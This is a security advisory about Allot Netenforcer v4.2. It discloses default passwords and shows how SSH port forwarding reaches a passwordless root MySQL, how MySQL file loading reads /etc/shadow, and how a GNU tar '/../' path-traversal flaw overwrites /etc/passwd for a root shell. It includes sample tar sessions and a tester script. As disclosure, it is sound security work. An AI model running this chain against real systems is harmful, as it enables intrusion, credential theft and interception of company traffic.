Security Advisory, case study - Netenforcer
1.Multiple security flaws lead to Netenforcer privilege escalation
2.Vulnerable tar packages
Affected System: Allot Netenforcer, v42
(only one sample configuration has been tested)
www.allot.com
Remote: No
Local: Yes
Vulnerability type:
Small security flaws and vulnerable tar package lead
to privilege escalation. Can be exploited remotely only
after authentication.
Authorized users
(a) can gain access to internal database
(b) can proxy connections through netenforcer
(c) can gain access to shadow file
(c) can gain root shell (admin user only)
Found by: Boldizsar Bencsath, Budapest, HU
Solution: Various workarounds are possible. CHANGE DEFAULT PASSWORDS!
Allot has been notified and answered to the problem,
hopefully releases official help.
1. Problem description
Netenforcer is a Linux based hardware and software system for policy based
bandwidth management. It's role is to deploy QoS capabilities and
eliminate DoS attacks as well. Netenforcer is mostly used as a front-end
for other network products, i.e. firewalls. By gaining privileges on
netenforcer an attacker can sniff the company internet lines, deploy
man-in-the-middle active attacks, or produce a DoS attack.
While studying a sample Netenforcer configuration, we simply gained access
by telnet using a factory pre-set name/password authentication.
(Default passwords are documented: root/bagabu admin/allot monitor/allot)
We gained access to the "admin/allot" login.
The default settings on Netenforcer are the following:
root:x:0:0::/root:/bin/bash
admin:x:0:200::/tmp:/usr/local/SWG/bin/cli/menu
monitor:x:12:300::/root:/root/.monitor.txt
mysql:x:27:27:MySQL:/usr/local/SWG/mysql/data:/bin/bash
As You can see, the default shell for "admin" is set to a shell script, and
the admin user has "0" uid (root access) to do administrative work.
Users on Netenforcer can access the system in 3 different ways:
-telnet
-ssh
-web interface
The web interface is an apache-cgi based system with a java client.
Security flaws:
1. SSH port forwarding
In our case, the SSH server had enabled ssh port forwarding capabilities.
One can proxy through this system being any of the above mentioned users.
While the shell of the "admin" user waits for user interactions, the
"monitor" users' shell simply quit after displaying an error message.
("This user name can be used only through the Graphical User Interface")
This setting of monitor user can cause immediate exit from ssh and thus
disabling port forwarding, but an attacker can use the -N option of ssh,
"Do not execute a remote command. This is useful for just forwarding
ports (protocol version 2 only).".
This way any of the users can act as the Netenforcer computer. This
problem seems not to be critical, but using a badly set firewall this
can open ways to intrude into the inner network of a company.
2. MySQL access
Netenforcer uses MySQL to store log files and various data. MySQL is
listening on the public interace of the Netenforcer on the _undocumented_
port "53306".
Remote users do not have permission to access MySQL from remote hosts.
Local users are able to connect to mysql without a password (root,mysql).
Using the security flaw (1) (previously described) an attacker can gain
access to MySQL database:
ssh admin@netenforcer -L 1919:127.0.0.1:53306 -v
..
mysql -h localhost -P 1919 -u root
..and voila, you have root access to mysql.
Note, that setting a factory pre-set password does not solve this problem,
because this can be obtained by checking the upgrade packages.
3. File access vulnerability
MySQL has internal capabilities to get data into database from files or to
store database data in local files. by invoking
CREATE TABLE jokes (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joke
TEXT NOT NULL);
load data infile "/foo/bar/file" into table jokes FIELDS TERMINATED BY ""
(joke);
One can get Netenforcer's local filesystem data into the mysql database,
and of course he can read this mysql database for obtaining the data.
For security reasons Allot's best way would be disableing Load data infile
and select "" into outfile sql commands from the mysql server.
Another security flaw (in our sample system) is the following:
Although MySQL is running under the name of "mysql" local user (disabling
access to a lot of files), the /etc/shadow has group readable permissions on
our sample system. This way one can gain access to encrypted password files
and execute offline dictionary based on brute force attacks on the user
passwords. Of course, until this point any of the users is able to get this
data, so the monitor user is still affected.
4. Shell access
"admin" user on Allot's Netenforcer has a "0" uid, but does not have "cli"
(shell) access. Although he can modify the system configuration, and deploy
DoS attacks this way, he cannot afford to sniff or modify network traffic.
(he can get statistical data on the network, open ports etc., but this is
not "full" network access).
Gaining root shell for "admin" user is _not_ a feature, but a security
flaw.
Admin user has a web interface to modify system configuration data. He can
download (backup) the whole system configuration (policy settings etc.,
not the linux config data) by invoking a tftp put session
(cgi-bin/swg-config/tftp-put.sh). By another command, he can tftp get
(restore) the old configuration from a remote host.
The tftp-get.sh contains the following line:
tar zxf $TAR -C $2/ > /dev/null 2>&1
The system gets the configuration data in a compressed tar file and
unpacks it into a temporary directory.
GNU "tar" package on netenforcer had a serious security flaw:
By compressing specially designed files one is able to deploy any file on
the remote system.
We just put a "/../../../../../etc/passwd" file with modified "admin"
shell (we downloaded passwd file with mysql, as previously described)
into the previously downloaded configuration file, then "restored" the
config data to the Netenforcer, and after a successfull reboot we
gained "root shell" access to the Netenforcer.
After this point "admin" user has all privileges on the system.
The Allot's linux kernel is a 2.2.19, and the af_packet module is not
compiled in. This way we are unable to run a statically compiled "tcpdump"
or any sniffer using raw sockets through this kernel service, but one can
compile his own kernel to deploy such attack.
Other attacker only accessing "monitor" user can get the shadow file and
crack the password of the root user gaining shell this way.
Anyhow, this security flaws seem not to be very serious, but if the threat
is that an attacker could reach all the internet traffic of a company,
then system administrators _should_ deploy the highest security possible.
2. Description of the "tar" problem
Creating a tar file with -P option one can put any file names in the tar
file. While unpacking such tar files, tar is designed to remove leading
slash. Other security feature of the tar package is to deny deployment of
any files whose name contains "dotdot" (".."). A bug in the tar package
leads to a security flaw:
"../something" is denied by tar
"/something" leading slash is removed
"/../something" leading slash removed but ".." is NOT denied
"./../something" ".." is NOT denied.
Although we found this bug by studying tar, we found that this bug has
been found by others, we should give them credit:
check out:
From: Mark J Cox (mjc@redhat.com)
Subject: [SECURITY] bug in contains_dot_dot routine
Newsgroups: gnu.utils.bug
Date: 2002-05-27 03:45:07 PST
by
Mark J Cox / Red Hat / OpenSSL / Apache Software Foundation
and
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-1267
While this bug can affect systems with antivirus products (amavis is not
affected) or any systems like the before mentioned, we think that a "more
rapid" answer to such "small" security problems is needed.
As You have seen: Small bugs can lead to a whole system crack.
Tar - Affected software versions:
GNU tar is affected, but e.g. SunOS tar does not do any sanity check.
Debian:
tar 1.13.17-2 NOT vulnerable (-)
tar 1.13.25-3 (unstable) IS vulnerable (+)
tar 1.13.25-2 (unstable) IS vulnerable (+)
Suse 7.3
tar 1.13.18 NOT vulnerable
Suse 6.4
tar 1.13.17 NOT vulnerable
Netenforcer:
tar (in software 4.2) IS vulnerable
others: unknown
Sample session:
echo "foo bar" >/tmp/zz/b
echo "foo bar" >/tmp/zz/b2
echo "foo bar" >/tmp/zz/b3
echo "foo bar" >a
boldi@boldi:/tmp/b$ tar cfv b.tar a ../../../../../../../tmp/zz/b -P
a
../../../../../../../tmp/zz/b
boldi@boldi:/tmp/b$ rm /tmp/zz/b
boldi@boldi:/tmp/b$ tar xfv b.tar
a
../../../../../../../tmp/zz/b
tar: ../../../../../../../tmp/zz/b: Member name contains `..'
tar: Error exit delayed from previous errors
boldi@boldi:/tmp/b$ls -la /tmp/zz/b
ls: /tmp/zz/b: No such file or directory
#note - this is O.K. , if found ".." in the name
#session 2:
boldi@boldi:/tmp/b$ tar cfv b2.tar a /tmp/zz/b2 -P
a
/tmp/zz/b2
boldi@boldi:/tmp/b$ rm /tmp/zz/b2
boldi@boldi:/tmp/b$ tar xfv b2.tar
a
/tmp/zz/b2
tar: Removing leading `/' from member names
boldi@boldi:/tmp/b$ ls -la /tmp/zz/b2
ls: /tmp/zz/b2: No such file or directory
boldi@boldi:/tmp/b$ ls -la /tmp/b/tmp/zz/b2
-rw-rw-r-- 1 boldi boldi 10 sze 8 12:47 /tmp/b/tmp/zz/b2
boldi@boldi:/tmp/b$ tar cfv b3.tar a /////tmp/zz/b3 -P
a
/////tmp/zz/b3
boldi@boldi:/tmp/b$ rm /tmp/zz/b3
boldi@boldi:/tmp/b$ tar xfv b3.tar
a
/////tmp/zz/b3
tar: Removing leading `/////' from member names
boldi@boldi:/tmp/b$ ls -la /tmp/zz/b3
ls: /tmp/zz/b3: No such file or directory
#session 2 is o.k.
#session 3:
boldi@boldi:/tmp/b$ echo "try this one. boldi." >/tmp/zz/final
boldi@boldi:/tmp/b$ tar cfv bolditry.tar a
/../../../../../../tmp/zz/final -Pa
/../../../../../../tmp/zz/final
boldi@boldi:/tmp/b$ rm /tmp/zz/final
boldi@boldi:/tmp/b$ ls -la /tmp/zz/final
ls: /tmp/zz/final: No such file or directory
boldi@boldi:/tmp/b$ tar xfv bolditry.tar
a
/../../../../../../tmp/zz/final
tar: Removing leading `/' from member names
boldi@boldi:/tmp/b$ ls -la /tmp/zz/final
-rw-rw-r-- 1 boldi boldi 21 sze 8 13:03 /tmp/zz/final
#session 3: vulnerable.
####Attachment: small script testing Your tar too#######
TAR=/usr/bin/tar
DIR=/tmp
#tar problem tester by boldi
cd $DIR
mkdir foo
cd foo
echo "boldi" >bar
cd $DIR
mkdir tartest
cd tartest
$TAR cfv boldi.tar /../../../../../../../$DIR/foo/bar -P
rm $DIR/foo/bar
if [ -f $DIR/foo/bar ] ; then
echo "something went wrong with the test";
else
$TAR xfv boldi.tar 2>&1
if [ -f $DIR/foo/bar ] ; then
echo "Your tar is vulnerable";
else
echo "Your tar is NOT vulnerable or error occoured";
fi;
fi
cd $DIR
rm foo/bar
rmdir foo
rm tartest/boldi.tar
rmdir tartest
##############end of attachment##########################
Boldizsar Bencsath
Dept. of Telecommunications
Budapest University of Technology and Economics
H-1111 Budapest, Magyar tudósok körútja 2. I ép. E.429.
email: bencsath.boldizsar@mail2002.ebizlab.hit.bme.hu
